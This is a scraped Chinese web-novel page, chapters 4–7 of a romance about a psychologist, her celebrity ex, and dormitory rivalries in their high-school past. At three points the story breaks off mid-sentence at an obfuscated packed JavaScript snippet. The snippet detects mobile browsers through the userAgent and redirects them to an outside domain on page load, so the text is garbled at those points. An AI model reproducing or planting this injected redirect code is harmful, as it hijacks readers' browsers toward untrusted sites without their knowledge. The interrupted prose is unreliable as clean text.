看到鞠言意外的眼神，年轻的女店员羡慕地解释道： “这位林先生给您预定了一整年的鲜花，全都是要最好品质的。” 鞠言没接腔，微笑道：“辛苦了，明天不用再送来了。” 小店员愣了下，才道：“可是这位先生的钱都已经一次性付清了，而且这样我没办法交差，老板会以为是我把生意搅黄的……” 看着她着急的眼神，鞠言微微叹了口气： “……那算了。” 小店员劫后余生地松了口气：“谢谢您。” 店员走后，鞠言抱着花，照例走到垃圾桶旁将花束丢了进去。 她的行为在一个星期后引起了同事的注意，前台的几个小护士轻声讨论着： “追鞠医生的是谁啊？让她那么不喜欢，每天一束鲜花看都不看就丢垃圾桶里了。” “不清楚，可能那男的长得很丑很猥琐吧？”另一个猜道。 第二天一早，穆晓菲便钻进了鞠言的咨询室，八卦地问： “比比，每天都给你送一束花的是谁啊？” 鞠言垂下眼：“是我前任。” “那他可是够执着的，这都送了有半个月了吧？” 正说着，恰好送花的店员到了，穆晓菲就站在离门几步的位置，便替鞠言将花束接了过来，她低头瞧着怀里娇嫩的粉色郁金香，抬起头好奇地问： “他叫什么呀？” “姓林。” “跟我男神同姓诶！帅不帅？” “一般。”鞠言的眼前一瞬间跳出林今世那张无可挑剔的脸。 “嗯，挺一般的……”她又说了一遍。 “噢。”穆晓菲瞬间没了兴趣，“说真话这人也真够奇怪的，每天都送花，但却从来不来看你，这种只会做面上功夫的家伙，怪不得你那么不喜欢他。” “……”鞠言苦笑了下，她倒真希望林今世真的像穆晓菲说得那样，只做做表面工夫，不要再闯进她的生活。 沈小简再来是距离第一次来访的一个月后，间隔有些久，但好在她来了。 “好久不见。”鞠言向她甜甜地微笑。 “嗯。”沈小简轻声回应，慢慢走过来，在沙发上坐下。 虽然依旧有些内向，但她的状态比第一次来访时要放松了许多，也没有什么抗拒的情绪了。 “那我们开始吧？” 得到了沈小简的同意后，鞠言问道： “这一个月，你过得怎么样？” 第一个问题，沈小简就沉默了许久，鞠言安静地等待着。 她终于开口：“不是很好……” “具体是什么样的呢？” 沈小简再次沉默了。 “你不想说也没关系。”鞠言柔声道。 “这个月，我在学校一句话也没有说，我不跟他们说，他们也不跟我说。”她抬眼看着鞠言：“你会觉得我很奇怪吗？” 鞠言微微摇头。 这一次咨询，有了沈小简的配合，鞠言了解到了比上一次细致许多的情况。 沈小简的确遭遇了校园霸凌，背地里、轻声地恶意讨论，默契地将她当作班级里的透明人，使得沈小简对上学这件事抵触到了极点。 万幸的是她的同学并没有对她实施过肢体暴力。 对于这场无声的霸凌，沈小简曾经努力反抗过。 “我跟妈妈提起过一次。” 鞠言点点头，静静等着她说下去。 “她问我怎么感觉出来的？” “我没有证据，只能说只是感觉，她听了之后，坚决地认为是我自己想多了。” “我跟班主任也说过一次，就在前几天。” 鞠言问：“她怎么说？” “他不相信，他说只是我的性格太孤僻不合群 又爱多想的缘故。” 沈小简没有问鞠言会不会觉得她是骗人的，第一次见她，在她说出第一句话，鞠言认真严肃地目光已经告诉她答案了。 沈小简浅声道：“你是第一个愿意相信我的人，谢谢。” 咨询快结束时，鞠言问道：“我可以和你妈妈谈谈吗？” 沈小简愣了愣，她明白鞠言的意思，立刻有些紧张，但还是同意了。 这件事越快解决对沈小简越好。 鞠言将沈小简愿意让她妈妈知道的情况告诉了她，并且建议沈小简换班。 沈小简的妈妈还是有些迟疑：“可是我家小简的班级是尖子班，换班的话太可惜了。” 鞠言坚持道：“孩子的身心健康比学习更重要，小简现在的状况再不进行干预，不仅心理状态会越来越糟糕，她对上学也会更加的抵触。” “……那好吧”沈小简的妈妈犹豫了好一会儿，才答应下来。 - 每天接收几个小时的负能量是件很疲惫的事，鞠言今天咨询又多，最后一个线上咨询直到9点50才结束。 她回到家，洗漱完后，便屈膝坐在床边，开始听纯音乐，她平时更喜欢用唱片机听，但由于今天时间晚了，只能退而求其次，戴上头戴式耳机。 她无情无绪的静静坐了一个小时，一点点消释自己心里的压力，鞠言有些累了，一只手搁到床沿上，脸垫在上面想稍稍趴一会儿。 朦朦胧胧地听见有人在喊林今世的名字。 她朦胧睁开眼睛，下意识望了一眼，似乎是楼上寝室传来的。 鞠言恍惚想起，男生寝室的宿舍楼几十年了，最近准备拆了，新宿舍建在了女寝的对面。 熄灯前女寝这边有时会有胆大的女生向那边喊心动男生的名字，不同的声线，一声声相同的林今世。 林今世从不回应，也没听见过他喊过任何人的名字。 对面楼也有男生大声地喊女生的名字，鞠言交际圈不大，他们喊的名字里只认识黄欣瑶和宋梦然。 一个夏初的晚上，对面男寝楼忽然漆黑一片，吵闹的喧哗传到这边来。 “男寝那边停电了！”从手机上打探完消息的邵芳跑到浴室，大声告知黄欣瑶。 “还好我们这边没事，我可不想摸黑洗澡。”黄欣瑶含着牙刷幸灾乐祸地问道。 “可以拿手电照着吧？”朱蕊拿着洗干净的衣服朝阳台走。 邵芳：“你太看得起他们了，像楼凯这种人肯定直接不洗了啊！” 鞠言已经洗漱完了，趴在床上看书。 阳台上忽然传来朱蕊小声地尖叫，似乎是在说“我天，林今世，好像是林今世！” 听到朱蕊的喊声，黄欣瑶连水乳都来不及抹，便趿着拖鞋小跑着朝阳台赶。 鞠言也忍不住偷偷跑出去看，夏夜的风吹动上方晾晒着的校服，带来一阵阵洗涤液的清香。 对面寝室楼的窗格大都处于熄灭的状态，只有寥寥几只隐隐透出淡黄的光。 窗上虽然贴了玻璃纸，但里头的身影依旧被映照了出来。 其中一只方格的窗内，手电的光将玻璃染成了金色，少年修长的身形映在其中成了黑色的剪影。 真的是他，虽然只是影子，鞠言却能百分百确认那就是林今世。 傍晚放学回寝室的路上途经操场，总有男生得意洋洋地脱了上衣赤膊跑圈，路过的女学生总是不约而同地侧手贴在脸上遮住余光。 和少女的羞赧完全无关，只是生理上对不美观的事物本能的排斥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305807|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但林今世不一样，他的身材完美诠释了男性肉/体的美感。宽肩窄腰、恰到好处的肌肉线条，非常赏心悦目。 他正抬臂往身上抹沐浴乳，随意寻常的举止，却性感得使人心潮澎湃。 像观看一场单调的实时默片，虽然只是到腰际的影子，鞠言的脸还是红了起来，风也吹不去的烫热。 盯着看了片刻，邵芳忽地侧过头大声对黄欣瑶锐声道：“你男人身材也太好了吧！” 像是谈论起闺蜜男友的“自证清白”，她这句话的前三个字嚷得格外大声，嗓门高到有些破音，刺得鞠言的耳朵都微微痛了。 黄欣瑶带笑斜瞪了邵芳一眼，大眼睛里羞意与得色交织。 黄欣瑶从不戒备邵芳怎样谈论他，和友情无关，只是因为深知他们两个绝对没可能。以邵芳的条件，喜欢他太不自量了。 似乎越来越多的人注意到了，鞠言发觉不止是她们寝室，其他寝室的阳台上也有人在趴着看，唧唧哝哝的谈话声夹杂着兴奋的低笑，从四面八方传来。 黄欣瑶的脸红扑扑的，她拱肩趴在阳台上，眼睛放光，定睛凝望着被距离缩小的窗，喃喃了一句：“怎么没有下半身……” 闻言，邵芳大着嗓门叫起来：“你这女人！” 黄欣瑶娇叫了一声，两人打闹起来，余光注意到鞠言和朱蕊，黄欣瑶忽然小气起来。 她推开邵芳，笑眯眯地问道：“鞠言，朱朱你们怎么还不去睡觉？” 朱蕊有点怕黄欣瑶，被她这么一说，有些讪讪，她轻拉了一下鞠言的衣袖，轻声道：“比比我们进去吧。” 鞠言看了黄欣瑶一眼，并不打算理会她看似询问，实则命令的话。 黄欣瑶看她似乎不打算听她话的样子，眼神有些不爽起来。 女寝热闹到林今世都发觉了，忽地将窗推开了一些，歪脸察看。 鞠言慌忙倏然蹲下躲藏，脸上沾着白泡沫的他一瞥即逝。 406寝室的人除了黄欣瑶外，全都默契地和她做出了一样的举动。 鞠言蹲在地上，知道这么多人，他不会注意到混迹其中的她，心却还是砰砰砰直跳。 她在地上藏了有半分钟，才小心地站起身，目光第一时间飞向他所在那扇窗。窗户黑漆漆的，他把手电熄了，估计是摸黑洗了。 闹钟在响，鞠言疲惫地睁开眼睛，她昨天竟趴在床边睡了一夜。 由于昨天实在没休息好，鞠言今天申请了调假，只开放了上午时间的预约，中午下班后，鞠言走在回家的路上。 森北医院附近商圈的一处巨幅广告牌投放位，前几天的时候换上了林今世新代言的某奢侈品的官方宣传画报。 林今世本就流利的下颚线条，在只有黑白的世界里更加的分明，他侧身看着镜头，几缕发丝被风拂到面前，冷淡而夺目。 即使不认识他的行人，也会不自觉地为他侧目。 这条路是鞠言回家的必经之路，她连余光都不想看到林今世，却也无可奈何。 今天的人行道不知道因为什么原因，被挤得几乎水泄不通，人多得简直夸张，像是在举行什么游行。 几乎全是年轻女孩，街上还有十几个交警和安保人员正在管理秩序，把试图跑到马路上的人赶回去。 鞠言一不小心就被卷入了人潮之中，她被迫挤在一群兴奋的女孩中间，缓慢地往前移动着，嗅觉被各种混合在一起的香水味侵犯到麻木。 气味中逐渐出现了一股新鲜花朵的香味，身旁的人忽然爆发出了一阵尖叫声的大合奏，鞠言下意识朝她们所视的方向望了一眼。 一辆双层露天巴士从后方驶来，车上满是蓝色的玫瑰，摄影师身后，就是一身白色礼服的林今世，他的头上戴着银色的皇冠，一如既往的没有表情，正闲闲地朝两边的粉丝挥着手。 他的目光在一群仰起的激动的脸庞中触到了她那张只是略带错愕的脸。 5. 第 5 章 林今世立刻转脸看了过来，鞠言的周围顿时尖叫声鼎沸，呼唤他名字的声音和“我爱你”此起彼伏。 彼此的眼睛相遇，林今世的眼中也出现了意外相逢的错愕，他的眼睛在一瞬间明亮起来，鞠言看到他的唇轻轻动了动下，她知道他唤的是她的小名。 “比比。” 看着被爱意与鲜花簇拥着的他，鞠言率先垂下了眼，把自己淹没在汹涌的人潮之中，巴士超越过她，拥挤的人潮跟着奔跑起来，不同的肩膀和发丝从她身旁拂过。 眼尾的余光里，林今世回身站在车上，目光一直在她的身上。 鞠言的心有些乱，想推开一家临近面包店的门躲进去，一不留神却被往前奔涌的粉丝撞到了地上。 无数女孩的身体瞬间遮挡住了她的视线，鞠言的膝盖摔得发痛，她害怕会被踩踏，第一时间想爬起来，可是不等站稳，却又被后方的人撞倒了。 女孩们的尖叫声忽然更加激烈了，她们呼喊林今世名字声音大到震耳欲聋，下一刻，有人拨开人群闯了进来，一阵新鲜空气涌进，男人有力漂亮的手拨开鞠言身旁的其他人，把她从地上扶起。 “谢谢……”鞠言低声说，仅从那双手，她已认出了对方是谁。 被拨开的缝隙一眨眼间又被身体填拢，林今世弯下腰看了眼她的膝盖，鞠言的腿摔破了，正在渗着血，他的眉头微蹙，呼吸重了一分，由于没有保镖跟随，无数只手在他的身上摸来摸去，甚至有胆大的直接拥住了他的腰。 几名穿着黑西装的保镖艰难地挤进人群，想护住林今世出来。 “带她去医院。”林今世将鞠言交给他们，自己并没有动。 “可是——”保镖有些迟疑。 林今世看了他一眼，保镖不再说什么，护送着鞠言朝外走。 虽然粉丝目标只是林今世，但要挤出越聚越多的人群还是很不容易。 鞠言回过头担心地望了林今世一眼，粉丝还在源源不断地围上去，林今世的身高优势让她还能看得到他。 两人的眼睛隔着无数其他人的身躯相遇。 几秒后，鞠言率先收回了视线。 一脱离人潮，鞠言便让跟着她的两个保镖回去找林今世，她自己到附近的医院简单处理了一下膝盖上的伤口。 回到家，鞠言第一时间点开了娱乐软件，她从没有像今天那样关注过那些无聊的娱乐新闻。 林今世是实至名归的顶流，有关他忽然跳下车扶被人撞倒的路人，因而被围困一事早已迅速飙上了热搜。 鞠言不关心底下夸赞林今世和指责粉丝的评论，只是隔一会儿便刷新一次，一直持续到到在半个小时后看到了榜单上出现林今世已安全脱身的消息才熄灭手机。 - 高二下学期，暮春。下雨的星期六傍晚。 “去嘛去嘛！这部电影没上映前我就想看了，再说了这都上了一天的数学了，你就不想放松一下嘛！” 方洛琪在补习机构的大门口拖住鞠言不让她走。 鞠言望了眼外面的冷清清的微雨： “外面在下雨呢，下回再去看吧。” 方洛琪：“求你了鞠言，我一回家我妈就监督我写卷子，她今天难得不在，你就陪我去一下吧！” “你叫朱蕊和你一起去吧。”鞠言想撑伞。 方洛琪抓住她的手：“不要，她老是跟我说她男朋友的事情烦死了。” “可…今天好冷啊……” “到影院就不冷了，走走走。” 禁不住方洛琪软磨硬泡地哀求，鞠言无奈，只能答应。 她撑开伞和方洛琪一起朝公交车站走，听到伞面上传来的冰沙声，才发觉原来是雨夹雪。 她不喜欢雨夹雪，它既有雨的潮湿，又有雪的冷，而且一点都不美。 正赶上补习班放学的时间段，影院很热闹，公共座椅上都坐满了人。 鞠言的目光一如从前，在人山人海中一眼看到了林今世，只要有他在的场合，其余人的脸全部自动抹成空白，只有他一个人的五官明晰。 他懒散地靠坐在一张休闲座椅上垂眸看着手机，身旁不是鞠然，而是另外一个她没有见过的高个子男生。 鞠言听鞠然说起过，林今世家其中一套房子就买在商业广场附近，在这里他偶遇也不奇怪，但她心里还是有一种奇异的感觉。 鞠言没有打招呼，只是伸手理了理衣裙，在她家两个人就没有说过话，每次都是她替他开门，仅此而已。 她不确定林今世有没有看到她，或者说认出她，不管是在家还是在学校，他好像从来没注意过她。 电影开始检票了，鞠言看到林今世也在队列中，心脏瞬间加速了搏动。 看的是同一部电影，这意味着她能和他在同一个空间待上将近两个小时。 林今世的位置在倒数第二排正中的位置，比鞠言靠后一排，明知他很可能完全不会朝她看，她还是感到坐立难安。 过程中看到某个片段时，鞠言都不由自主地去想他会有什么感触，什么看法。 心有旁骛地看完了一场电影，伴随着片尾曲，影厅亮起灯。 方洛琪伸了个懒腰，站起身：“我们走吧。” 鞠言想等林今世经过后再起身，找了个借口：“看完彩蛋再走吧？” “噢好。”方洛琪重新在她身旁坐下。 片尾曲还没有结束，林今世的身影就已从她身旁擦过。 鞠言怕等彩蛋结束，他已经走远了，忙道：“我又不想看了，咱们还是走吧。” 由于绷得太久了，她起身时感到肩膀与手臂传来了一阵麻痹感。 林今世就在她前面，又是他的背影，干净的后脖颈，插兜时微屈的手肘，他是男模身材，肩宽腿长，怎么穿都好看。 方洛琪不是桐安中学的，之前没见过他，她扯了扯鞠言的袖子，凑近她小声道：“鞠言，前面有个帅哥。” 她点点头：“嗯。” 林今世被同场的两名女生拦住了要联系方式，鞠言从他身旁经过，余光看到他的脚步停下，她继续往前走，不知道他有没有将联系方式给她们。 乘升降电梯下楼，电梯内除了她和方洛琪外，就只有三个初中生模样的女孩。 一楼的按钮已经有人点亮了。 电梯门将要关上，有只漂亮的手在门缝中拦了一下，门向两侧退开。 鞠言神色平静，心跳却加快了一瞬，她认得出那是林今世的手。 林今世和他的朋友一前一后走了进来，电梯关上门，开始往下沉。 鞠言不看他，背着手靠在玻璃上。电梯里没人说话，林今世的朋友轻声哼着的流行音乐似有若无的飘荡在冷空气中。 鞠言抽了下鼻子，倒春寒来的突然，她从家里出来的时候气温还没有那么低，她今天衣服穿得少了，只是一件西柚色的薄春衫配白裙。在影院里倒没感觉，这会儿在电梯里冷得抽鼻子。 她望了眼外面降落的雨夹雪，路面亮晶晶的，像是结了一层霜。 “回去肯定要冻感冒了。”鞠言出神地想。 忽然有人把一件外套递到了她面前，对方的动作闲闲的，仿佛在做一件再自然不过的事情。 鞠言怔了下，她从鞋子就早已认出来了对面的人是他。 见她不接，林今世又抬了下手，示意她拿。 鞠言抬眼，林今世正垂眸看着她，目光相对，短短一秒后，她收回视线，轻轻说了声：“谢谢”，接过了衣服。 林今世漫不经心地将手揣回兜里，他里面只穿着一件单薄的灰色克罗心卫衣，却丝毫没有寒冷的样子。 到一层了，电梯门打开，鞠言抱着外套，和方洛琪率先走出电梯，她的余光注意着林今世，看到他和自己的朋友拐向了另一边。 听到林今世身旁的男生在好奇地在问：“谁啊？” 他淡声答：“朋友的妹妹。” “刚才那个帅哥你认识啊？”方洛琪凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305808|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近鞠言轻声问。 鞠言悄悄回过头瞥了一眼，他已经不在身后了。 鞠言点了点头：“是我哥哥的朋友。” “快快快！给我联系方式！！！”方洛琪兴奋地从口袋拿出手机。 鞠言歉然道：“我没有他的联系方式。” “啊……”方洛琪遗憾极了。 鞠言没有骗方洛琪，她没有林今世的联系方式，甚至和他连话都没有说过几句。 虽然近水楼台，她只需要随便找个借口，就能从鞠然那里拿到他的微信，但她却从来没有在鞠然面前提起过林今世的名字。 她只是把对他的喜欢深埋在心底，从来没想过表白。 从他交往过的两任女友来看，他应该也不会喜欢她这种类型。 林今世的黑色的飞行员夹克，鞠言穿着太过宽大，长长的遮住膝盖，仅露出一点白裙子的裙边。 虽然没想过和他在一起，可被他温暖的外套拥着，鞠言的心情还是甜蜜得像怀揣着一封情书。 到小区楼下时，她把他的外套脱下来，怕被父母发觉是男生的衣服，他的气息一消失，寒冷瞬间贴上来，冷得鞠言起了一阵颤栗。 她把他的外套抱小心翼翼地抱在怀里，拿钥匙开了门，鞠言本来想直接躲房间去，没想到爸妈和哥哥都在客厅。 电视里传出体育解说的声音。鞠然懒懒地窝在沙发上，垂眸盯着手机，两指敏捷地敲着手机键盘。 爸妈坐在他身边，正在看体育频道的直播，脸上都带着心满意足的表情。 “爸、妈。”鞠言敷衍地叫了两声，想赶快往房间里钻。 “你怎么穿那么点衣服就出门了？”叶珊注意到了她单薄的衣着，语气责备地询问。 闻言，鞠旭阳也朝她看了一眼。 鞠言背对着他们，声音有些不自然地回答道：“出门的时候还没降温，我现在就回房间穿外套。”说着就想溜进房间。 叶珊却忽然又问： “你手上拿着什么呀？” “啊，是看电影送的一个抱枕。”鞠言尽量让自己的语气听起来很寻常。 鞠然笑嘻嘻地抬起脸：“什么电影还送抱枕？” 鞠言将怀里的衣服楼得紧了些，回头瞪了他一眼，径自进了房间，关上了房门。 她将衣服仔细地叠好放到衣柜里，拉上柜门时，犹豫了一下，又推开柜门将衣服拿了出来。 她把他的衣服捧在怀里，依恋地低脸望了片刻，随后慢慢将一只手套进了衣服的袖子里，她伸起手轻轻地抚上自己的脸颊。 幻想成他的手心感受到了柔滑发烫的面颊。 鞠言的脸上有些羞涩的微醺，她伏倒在床上，将脸轻轻埋进他的衣服里。 他的衣服有股很好闻的味道，但不是香水味，有时偶遇，鞠言就曾闻到过他身上的气息。 门忽然被人拍了两下，鞠言连忙掀过被子，盖住衣服，下一刻，叶珊就开门走了进来。她总是这样象征性的敲一下门，然后就直接开进来，鞠言因为这件事还跟她闹过脾气。 “把姜汤喝了。”叶珊将手里冒热气的杯子递给鞠言，数落着：“几岁的人冷暖都不知道，这么冷的天，穿这么点衣服，不怕感冒的吗。” “谢谢妈。”鞠言爬起来接过有些烫手的杯子，暂时放到书桌上。 叶珊嘱咐了一句：“趁热喝。”带上门出去。 鞠言朝门的方向盯了片刻，确认她已经走了，她才重新将被子轻柔地掀开。 又只剩下了她和“他”单独的小世界。 薄荷绿的窗帘褪在两侧，光线半暗，窗外的雨夹雪望起来像雨，听起来像冰。 原来他对她有印象。 今天的雨夹雪真美好，辣喉咙的红糖姜汤美好，连难到写不出来的试卷也美好，什么都美好。 鞠言在心里决定，下次要是再偶然碰到他，要主动打招呼。 可下次再碰到，他是和另外一个女生在一起。 6. 第 6 章 那天晚自习，黄欣瑶伏在桌子上抽泣，她的肩膀哭得一颤一颤的，惹得班里的同学纷纷朝她投去好奇的目光，平日里和她关系交好的几个女同学都围在她身旁低声安抚着。 刚开始鞠言不知道她怎么了，她也不是很关心，顾自拿上保温杯起身走出教室。 她在校用饮水机灌满一杯子的热水，边慢慢地拧紧杯盖，边往回走。 “比比！”同班同寝的宋梦然朝她打了声招呼，她手里拿着一本带扣的粉色日记本，迎面走过来，她看起来心情极好，眼中溢出笑意。 宋梦然是班级里最漂亮的女生，也算得上是桐安高中最漂亮的女生，她是刚换到她们寝室来的，鞠言和她不是很熟，平日里也不会特意打招呼。 “嗯。”对于不熟的人突然喊她的小名，鞠言觉得有些变扭，但仍是朝她笑了笑。 经过拐角的楼梯口，少年走了下来，和鞠言擦肩而过，不用回头，她知道是他。 他的侧影从她的眼梢掠过，而后以背影的形式出现在了她的眼前。 鞠言微微怔了一下。 宋梦然春风满面地迎了上去，两人到对方跟前站住，她嗲着嗓子和他讲话，林今世低着脸望着她，鞠言看到他的嘴角微微泛起了点笑。 她现在知道为什么宋梦然那么高兴了。 也知道黄欣瑶为什么哭得那么伤心了。 走廊灯的黄光洒在他们身上，变成了特意为主角打造的舞台，他低着的侧脸和宋梦然微仰着的侧脸相对。 很般配。 他们是这场故事的主角，她是无关紧要的配角，在故事的背后，无人知晓地喜欢了他两年。 鞠言发怔的时间已经够久了，她收回目光，强作镇定地从他们身旁经过。 她的位置靠窗，不用侧头他们两个也在余光里，却也不能说她完全是无意的。 打铃了，他这时才慢吞吞地和宋梦然告别，拿着她的日记本转身上楼，他的教室在三楼最里侧的那一间，肯定要迟到了。 鞠言的眼睛有些发酸，她重重地掐了下自己的手心，指甲在掌心留下了几枚粉红的月牙。她深吸了口气，压住情绪，整整两节晚自习，都将自己的思绪完全沉浸在枯燥的题目之中。 反正他所有的一切都和她无关。 - 第二天上午，鞠言趁着下课，去到了高三的教学楼，怕被人发现怀里抱着的外套是林今世的，她抱得很紧，一路快步。 他现在已经有女朋友了，他的外套还是尽早还给他更合适。 鞠言以前放学的时候，偷偷去林今世的班级抄了贴在墙上的课表，知道这节是体育课。 高三9班的教室果然空着，鞠言四下看了看，确认没人后才走了进去。 听鞠然说起过，他最近和林今世成了同桌，她记得鞠然的位置是在第四大组最后一排，她走过去，先翻开一本摊在桌子上的书看了眼名字，果然没错。 她朝隔壁挨窗那个座位投去了目光，伸手轻轻翻开了林今世的作业本，他秀如其人的字迹跃入眼帘，略带潦草地书写着一道道她还看不太懂的公式。 鞠言把叠好的外套小心地放进他座位的抽屉里。 忽然听到鞠然的声音在身后传来： “你来干什么？” 鞠言慌忙收回手，控制着脸色，“若无其事”转身时暗暗祈祷林今世没和鞠然在一起。 可是鞠言的目光还是找到了他，两人正一前一后从后门进来，林今世走在鞠然的身前，平静的眸光落在她身上。 鞠言不敢和他对视，她垂了眼，心虚地随便编了个理由：“我衣服穿少了，来问你拿外套……” “你找错位置了，旁边那个才是我的。”鞠然没有多想，他抬手拉下拉链，想把自己身上那件外套脱下来给她。 鞠言忙道：“校服就可以了。” “这件厚一点。”鞠然仍将脱下来的绿白棒球服抛给她，他走过去弯下腰从自己的课桌里将一团校服外套扯了出去，拿在手里抖了抖直穿上。 “这件衣服是新的，可别给我弄脏了！”鞠然不放心地嘱咐道。 “嗯。”鞠言点点头，“谢谢哥。” 她控制着脸色从林今世身旁走过，心里忽然泛上了一阵酸楚。 回到教室，鞠言在位置上坐下，目光不自觉地看了一眼羡慕的那个女孩。 宋梦然坐在第四大组第三排靠过道的位置上，她面朝外，正和蹲在地上帮自己系鞋带的朋友聊着天，美丽的颈肩像是芭蕾舞者。 “比比，你这件外套怎么这么大？”前座的朱蕊扭过身伏到椅背上。 “是我哥的，我忘记带外套了，借来穿一下。”鞠言收回目光，低头看了眼自己身上那件宽大的棒球服。 “你穿着还挺好看的，下回可以买件类似的。”朱蕊提议道。 鞠言摇了摇头：“要是被我哥知道了，他一定会说我模仿他的。” “啊，你哥哥那么自恋吗？”朱蕊难以置信。 鞠言无奈地点了下头。 “你们两兄妹长得真像，虽然乍一眼看你哥哥生的比你好看，但是你的眼睛更好看。”朱蕊认真地说。 “是吗？” 朱蕊点点头，你的眼睛很有灵气，看起来很像……嗯，像江南水乡！” 鞠言浅笑道：“好夸张，不过我喜欢。” 正说着，忽然听见宋梦然有些恼怒的声音：“你不看路的吗？” 黄欣瑶反唇相讥：“大小姐，这路是规定只能你一个人走的？” 鞠言朝她们看了一眼，宋梦然很生气的样子，她的鞋子似乎被黄欣瑶不小心给踩了一脚。 黄欣瑶追林今世追得轰轰烈烈，几乎全校都知道，宋梦然和他交往后，两个人的梁子算是结下了，在教室里相遇总是互相甩白眼，她们之间的事情鞠言也没有多在意。 下午放学后。鞠言回到寝室，浴室门关着，里面透出低低的嬉笑声以及嗡嗡的声响，她猜应该是黄欣瑶和邵芳，她们两个今天一下课就跑回了宿舍。 由于下课的时间有限，平时大家都是共用浴室，鞠言没有多想，拿着水卡打开浴室进去，打算洗头发。 里面的人被她忽然打开门吓了一跳，黄欣瑶正俯身用手里的一只粉色电动牙刷着洗手台上的污垢，看到鞠言，她立刻倏地将手里的东西往身后一藏。 黄欣瑶和身旁的邵芳对看一眼，随后朝鞠言笑着打了声招呼，透出戒备意味的假笑。 鞠言认出那只粉色的电动牙刷是宋梦然的，她应了一声，若无其事地开始做自己的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305809|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间黄欣瑶一直在试探着她是否有看见自己刚才的行为。 鞠言随便答了几句，她洗完头发，简单用毛巾擦了擦走出浴室，从包内拿了一枚硬币，去公共吹风机排队，等她吹干头发回寝室，黄欣瑶她们已经先回教室了。 宋梦然没回寝室，大概率是去约会了。 鞠言本想趁着她到教室前拦住她，可宋梦然是踏着铃声进教室的。 黄欣瑶和邵芬今天格外注意宋梦然的一举一动，自己如果直接写纸条给宋梦然，肯定会被她们看见。 她不想给自己找不必要的麻烦，算来算去还是打算等晚自习结束之后，偷偷告诉她一声。 晚自习结束后，黄欣瑶神色愉悦而期待地瞥了宋梦然一眼，和邵芳挽着手走出了教室。 宋梦然动作很慢，鞠言被迫跟着她慢吞吞地拖延了一会儿，直到教室已经快没人了，宋梦然才收拾好东西起身。 鞠言正想开口叫住她，余光中林今世忽然从教室前门走了进来。 鞠言的声带瞬间失灵。她一碰见林今世就不争气地紧张，犹豫着钉在地上半天没动，等反应过来的时候，他们早走远了，她只好迅速关上教室的灯和门，追出去。 林今世和宋梦然走的是小路，另一条回宿舍的大路会有老师突击抓情侣，所以很多早恋的学生会偷偷选择往这条小路走，两人的身影朦朦胧胧的淹没在夜色里，现在下课有一会儿了，除了他们，没有别的人。 鞠言遥遥地跟在他们身后，看着他们暧昧的背影，心里沁出无限酸楚。 她不愿延长自己的难过，深吸了一口气，加快脚步上前，喊道：“宋梦然。” 约会被人打扰，宋梦然脸上略显不耐，她没有应，只是回过头来看着她。 林今世也跟着她回过了头，淡漠的眸光落在了她的身上。 “你的牙刷不要再用了。”被他看着鞠言有点紧张，她努力让自己看起来很平静，可声音听起来还是有点奇怪。 “为什么？”宋梦然脸上带着不解的神情。 “有人用它刷过脏东西了。” 鞠言说完想走，宋梦然脸色变得凝重，拽住她追问道：“是谁？” 鞠言不想给自己惹事，摇了摇头，“你再去小卖部买一根新的吧。” 宋梦然松开手，鞠言撇下他们，往寝室的方向走。 鞠言前脚刚进寝室，宋梦然后脚便回来了，她没有和寝室里的任何人打招呼，神色凝重的第一时间奔向浴室。 片刻后，她手里抓着自己的电动牙刷冲了出来，到黄欣瑶的床铺前对峙：“黄欣瑶！你是不是拿我牙刷脏东西了？！” 黄欣瑶坐在上铺的床上，正抬着两手抚脸上贴的面膜，她被宋梦然的厉声质问弄得呆了下，随即提高音量骂了回去：“你发什么神经病，谁碰你东西了！” “除了你还有谁，”宋梦然气得发抖，她激动地将手里的微微发黄的牙刷头举到黄欣瑶的鼻子前，喊道：“早上还不是这样的！” 黄欣瑶猛地揭下了才刚贴上去没多久的面膜，声音响到隔壁寝室都能听得一清二楚： “你有证据吗？拿出证据来！” 见黄欣瑶不承认，宋梦然情绪越加激动起来，锐声道：“鞠言都看见了，你还不承认吗！” 7. 第 7 章 鞠言身子微僵，没想到宋梦然会直接把她说出来。 闻言，寝室里的人都不约而遇地朝她看过来，黄欣瑶的目光锐利得像刀子，邵芳则是一脸鄙夷。 两人互相吼了几句，黄欣瑶死不承认，宋梦然吵出了眼泪，快步朝鞠言走过来，一把拽住她的手臂想将她拖过去帮自己作证。 鞠言冷脸挣开她的手，将洗漱用品从柜子内拿出来，转身进了卫生间。 门外的争吵声还在继续，黄欣瑶性格强势，很喜欢在班内拉帮结派孤立别人，虽然鞠言不怕，但一想到以后除了繁多的学业外还要再加上这些麻烦事，她还是难免有些心烦意乱。 